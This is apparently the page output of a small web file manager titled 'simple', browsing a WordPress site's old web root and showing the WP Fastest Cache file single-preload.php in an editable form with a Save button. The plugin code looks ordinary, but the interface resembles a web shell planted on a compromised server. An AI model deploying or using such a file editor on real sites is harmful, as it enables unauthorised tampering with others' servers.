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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2F'>www.stick-clip.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2F'>htdocsold</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2Fwp-fastest-cache%2F'>wp-fastest-cache</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2Fwp-fastest-cache%2Finc%2F'>inc</a>/</p><hr><h3>✏️ Editing: single-preload.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
	class SinglePreloadWPFC{
		public static $id = 0;
		public static $urls = array();

		public static function init($id = false){
			if($id){
	            self::set_id($id);
	        }else if(isset($_GET[&quot;post&quot;]) &amp;&amp; $_GET[&quot;post&quot;]){
	            self::set_id($_GET[&quot;post&quot;]);
	        }

			SinglePreloadWPFC::set_urls();
			SinglePreloadWPFC::set_urls_with_terms();
		}

	    public static function add_meta_box(){
	          add_meta_box( 
	             &#039;auto_cache_custom_meta_box&#039;, // this is HTML id
	             &#039;Auto Cache Settings&#039;, 
	             array(&quot;SinglePreloadWPFC&quot;, &quot;auto_cache_custom_box_html&quot;), // the callback function
	             array(&#039;page&#039;, &#039;post&#039;, &#039;product&#039;),
	             &#039;side&#039;,
	             &#039;high&#039;
	          );
	    }

	    public static function auto_cache_custom_box_html(){
	    	$yes_selected = &quot;&quot;;
	    	$no_selected = &quot;&quot;;
	    	
	        if($data = get_option(&quot;WpFastestCache_autocache&quot;)){
	            if($data == &quot;yes&quot;){
	                $yes_selected = &quot;selected&quot;;
	            }else if($data == &quot;no&quot;){
	                $no_selected = &quot;selected&quot;;
	            }
	        }else{
	            $no_selected = &quot;selected&quot;;
	        }

	      ?&gt;
	        &lt;p&gt;
	            &lt;label&gt;Enable:&lt;/label&gt;
	            &lt;select data-type=&#039;auto-cache-enable&#039;&gt;
	                &lt;option &lt;?php echo $yes_selected; ?&gt; value=&quot;yes&quot;&gt;Yes&lt;/option&gt;
	                &lt;option &lt;?php echo $no_selected; ?&gt; value=&quot;no&quot;&gt;No&lt;/option&gt;
	            &lt;/select&gt;
	            &lt;span class=&quot;spinner&quot; style=&quot;float: none;display: inline-block;margin:0;&quot;&gt;&lt;/span&gt;
	        &lt;/p&gt;

	        &lt;p id=&quot;wpfc-single-preload-process&quot; style=&quot;display: none;&quot;&gt;
	        	&lt;label&gt;Status: &lt;span id=&quot;wpfc-single-preload-status-runnig&quot;&gt;Running&lt;/span&gt;&lt;span id=&quot;wpfc-single-preload-status-completed&quot; style=&quot;display: none; color: #33CD32; font-weight: bold;&quot;&gt;Completed&lt;/span&gt;&lt;/label&gt;&lt;br&gt;
		        &lt;label&gt;Total: &lt;span id=&quot;wpfc-single-preload-total-number&quot;&gt;&lt;?php echo count(self::$urls); ?&gt;&lt;/span&gt;&lt;/label&gt;&lt;br&gt;
		        &lt;label&gt;Cached: &lt;span id=&quot;wpfc-single-preload-cached-number&quot;&gt;0&lt;/span&gt;&lt;/label&gt;&lt;br&gt;
		        &lt;label&gt;Errors: &lt;span id=&quot;wpfc-single-preload-error-number&quot;&gt;0&lt;/span&gt;&lt;/label&gt;
	        &lt;/p&gt;



	            &lt;p class=&quot;post-attributes-help-text&quot;&gt;The cache will be created automatically after the contents are saved. &lt;a href=&quot;https://www.wpfastestcache.com/features/automatic-cache/&quot; target=&quot;_blank&quot;&gt;More Info&lt;/a&gt;&lt;/p&gt;

	            &lt;script type=&quot;text/javascript&quot;&gt;
	              var Wpfc_Single_Preload_save_settings = function(){
	                var enable_form = jQuery(&quot;#auto_cache_custom_meta_box select[data-type=&#039;auto-cache-enable&#039;]&quot;);

	                if(enable_form.length == 1){
	                  enable_form.change(function(){
	                    enable_form.attr(&quot;disabled&quot;, true);
	                    jQuery(&quot;#auto_cache_custom_meta_box span.spinner&quot;).css({&quot;visibility&quot; : &quot;visible&quot;});

	                    jQuery.ajax({
	                      type: &#039;POST&#039;,
	                      url: ajaxurl,
	                      data: {&quot;action&quot;: &quot;wpfc_preload_single_save_settings&quot;, &quot;is_enable&quot;: jQuery(this).val(), &quot;nonce&quot; : wpfc_nonce},
	                      dataType: &quot;json&quot;,
	                      cache: false, 
	                      success: function(data){
	                        enable_form.attr(&quot;disabled&quot;, false);
	                        jQuery(&quot;#auto_cache_custom_meta_box span.spinner&quot;).css({&quot;visibility&quot; : &quot;hidden&quot;});

	                        console.log(data);
	                      },
	                      error: function(error){
	                        enable_form.attr(&quot;disabled&quot;, false);
	                        jQuery(&quot;#auto_cache_custom_meta_box span.spinner&quot;).css({&quot;visibility&quot; : &quot;hidden&quot;});
	                        
	                        console.log(error.statusText);
	                      }
	                    });

	                  });
	                }
	              };

	              Wpfc_Single_Preload_save_settings();
	       
	        &lt;/script&gt;

	        &lt;?php  
	        // Add the HTML for the post meta
	    }

	    public static function save_settings(){
	        if(current_user_can(&#039;manage_options&#039;)){
	            $res = array(&quot;success&quot; =&gt; true);

	            if(get_option(&quot;WpFastestCache_autocache&quot;)){
	                update_option(&quot;WpFastestCache_autocache&quot;, sanitize_text_field($_POST[&quot;is_enable&quot;]));
	            }else{
	                add_option(&quot;WpFastestCache_autocache&quot;, sanitize_text_field($_POST[&quot;is_enable&quot;]), null, &quot;yes&quot;);
	            }

	            wp_send_json($res);
	        }

	        wp_die(&quot;Must be admin&quot;);
	    }

		public static function set_id($id) {
	        $id = (int)$id;

	        if(get_post_status($id) === &quot;publish&quot;){
	            self::$id = $id;
	        }
	    }
	    
	    public static function create_cache_for_all_urls(){
	    	if(preg_match(&quot;/include\s*\(\s*[\&#039;\&quot;]\/themes\//i&quot;, wp_debug_backtrace_summary())){
	    		return array(&quot;success&quot; =&gt; false, &quot;error_message&quot; =&gt; &quot;You cannot call this function in any theme file&quot;);
	    	}

	    	if(empty(self::$urls)){
	    		return false;
	    	}

	    	$res_arr = array();

	    	foreach (self::$urls as $url) {
	    		$res = $GLOBALS[&quot;wp_fastest_cache&quot;]-&gt;wpfc_remote_get($url[&quot;url&quot;], $url[&quot;user-agent&quot;]);

	    		array_push($res_arr, array(&quot;url&quot; =&gt; $url[&quot;url&quot;], &quot;success&quot; =&gt; $res));
	    	}

	    	return $res_arr;
	    }

		public static function create_cache(){
			$res = $GLOBALS[&quot;wp_fastest_cache&quot;]-&gt;wpfc_remote_get($_GET[&quot;url&quot;], $_GET[&quot;user_agent&quot;]);

			if($res){
				die(&quot;true&quot;);
			}
		}

		public static function is_mobile_active(){
			if(isset($GLOBALS[&quot;wp_fastest_cache_options&quot;]-&gt;wpFastestCacheMobile) &amp;&amp; isset($GLOBALS[&quot;wp_fastest_cache_options&quot;]-&gt;wpFastestCacheMobileTheme)){
				return true;
			}else{
				return false;
			}
		}

		public static function set_term_urls($term_taxonomy_id){
			$term = get_term_by(&quot;term_taxonomy_id&quot;, $term_taxonomy_id);

			if($term &amp;&amp; !is_wp_error($term)){
				$url = get_term_link($term-&gt;term_id, $term-&gt;taxonomy);

				array_push(static::$urls, array(&quot;url&quot; =&gt; $url, &quot;user-agent&quot; =&gt; &quot;WP Fastest Cache Preload Bot&quot;));

				if(self::is_mobile_active()){
					array_push(static::$urls, array(&quot;url&quot; =&gt; $url, &quot;user-agent&quot; =&gt; &quot;WP Fastest Cache Preload iPhone Mobile Bot&quot;));
				}

				if($term-&gt;parent &gt; 0){
					$parent = get_term_by(&quot;id&quot;, $term-&gt;parent, $term-&gt;taxonomy);

					static::set_term_urls($parent-&gt;term_taxonomy_id);
				}
			}
		}

		public static function set_urls_with_terms(){
			global $wpdb;
			$terms = $wpdb-&gt;get_results(&quot;SELECT * FROM `&quot;.$wpdb-&gt;prefix.&quot;term_relationships` WHERE `object_id`=&quot;.static::$id, ARRAY_A);

			foreach ($terms as $term_key =&gt; $term_val){
				static::set_term_urls($term_val[&quot;term_taxonomy_id&quot;]);
			}
		}

		public static function set_urls(){
			if(static::$id){
				$permalink = get_permalink(static::$id);

				array_push(static::$urls, array(&quot;url&quot; =&gt; $permalink, &quot;user-agent&quot; =&gt; &quot;WP Fastest Cache Preload Bot&quot;));

				if(self::is_mobile_active()){
					array_push(static::$urls, array(&quot;url&quot; =&gt; $permalink, &quot;user-agent&quot; =&gt; &quot;WP Fastest Cache Preload iPhone Mobile Bot&quot;));
				}
			}
		}

		public static function put_inline_js(){
			if($data = get_option(&quot;WpFastestCache_autocache&quot;)){
				if($data == &quot;no&quot;){
					return false;
				}
			}else{
				return false;
			}
		?&gt;

	        &lt;script type=&quot;text/javascript&quot;&gt;
	        	var WpfcSinglePreload = {
	        		error_message: &quot;&quot;,
	        		init: function(){
	        			jQuery(&quot;#wpfc-single-preload-process&quot;).show(&quot;slow&quot;)
	        		},
	        		change_status: function(){
	        			var error_number = jQuery(&quot;#wpfc-single-preload-error-number&quot;).text();
	        			var cached_number = jQuery(&quot;#wpfc-single-preload-cached-number&quot;).text();
	        			var total_number = jQuery(&quot;#wpfc-single-preload-total-number&quot;).text();

	        			error_number = parseInt(error_number);
	        			cached_number = parseInt(cached_number);
	        			total_number = parseInt(total_number);

	        			if(total_number == (cached_number + error_number)){
	        				jQuery(&quot;#wpfc-single-preload-status-completed&quot;).show();
	        				jQuery(&quot;#wpfc-single-preload-status-runnig&quot;).hide();
	        			}	
	        		},
	        		increase_error: function(){
	        			var number = jQuery(&quot;#wpfc-single-preload-error-number&quot;).text();
	        			number = parseInt(number) + 1;

	        			jQuery(&quot;#wpfc-single-preload-error-number&quot;).text(number);

	        			WpfcSinglePreload.change_status();
	        		},
	        		increase_cached: function(){
	        			var number = jQuery(&quot;#wpfc-single-preload-cached-number&quot;).text();
	        			number = parseInt(number) + 1;

	        			jQuery(&quot;#wpfc-single-preload-cached-number&quot;).text(number);

	        			WpfcSinglePreload.change_status();
	        		},
	        		running_animation: function(){
	        			let label = jQuery(&quot;#wpfc-single-preload-status-runnig&quot;);
						let text = label.text();
						let dot = 0;

						label.text(text + &quot;.&quot;);

						self.interval = setInterval(function(){
							text = label.text();
							dot = text.match(/\./g);

							if(dot){
								if(dot.length &lt; 3){
									label.text(text + &quot;.&quot;);
								}else{
									label.text(text.replace(/\.+$/, &quot;&quot;));
								}
							}else{
								label.text(text + &quot;.&quot;);
							}
						}, 300);
	        		},
	        		create_cache: function(list){
	        			var action = function(url, user_agent, list){
		        			var self = this;
		        			jQuery(&quot;#wpfc-single-preload&quot;).show();

			        		jQuery.ajax({
								type: &#039;GET&#039;,
								url: ajaxurl,
								data: {&quot;action&quot;: &quot;wpfc_preload_single&quot;, &quot;url&quot;: url, &quot;user_agent&quot;: user_agent, &quot;nonce&quot; : wpfc_nonce},
								dataType: &quot;html&quot;,
								timeout: 10000,
								cache: false, 
								success: function(data){
									if(data == &quot;true&quot;){
										WpfcSinglePreload.increase_cached();
									}else{
										self.error_message = data;
										WpfcSinglePreload.increase_error();
									}

									if(typeof list == &quot;object&quot;){
										WpfcSinglePreload.create_cache(list);
									}
								},
								error: function(error){
									self.error_message = error.statusText;
									WpfcSinglePreload.increase_error();

									if(typeof list == &quot;object&quot;){
										WpfcSinglePreload.create_cache(list);
									}
								}
							});

	        			};

	        			let number_to_used = 3;
	        			let sliced = list.slice(0, number_to_used);

	        			list.splice(0, number_to_used);

	        			jQuery.each(sliced, function( index, value ) {
	        				console.log( value[&quot;url&quot;] );

	        				if(index == (number_to_used-1)){
	        					setTimeout(function(){
		        					action(value[&quot;url&quot;], value[&quot;user-agent&quot;], list);
		        				}, 500);
	        				}else{
		        				setTimeout(function(){
		        					action(value[&quot;url&quot;], value[&quot;user-agent&quot;], false);
		        				}, 500);
	        				}
	        			});
	        		}
	        	};


	        	jQuery(document).ready(function(){
	        		if(!jQuery(&quot;#auto_cache_custom_meta_box&quot;).is(&quot;:visible&quot;)){
	        			return;
	        		}
	        		
	        		if(jQuery(&quot;#message&quot;).find(&quot;a&quot;).attr(&quot;href&quot;)){
			        	WpfcSinglePreload.init();
			        	WpfcSinglePreload.running_animation();
			        	WpfcSinglePreload.create_cache(&lt;?php echo json_encode(self::$urls); ?&gt;);
	        		}
	        	});
	        &lt;/script&gt;

	        &lt;?php
		}
	}
?&gt;</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2Fwp-fastest-cache%2Finc'>🔙 Back</a></p>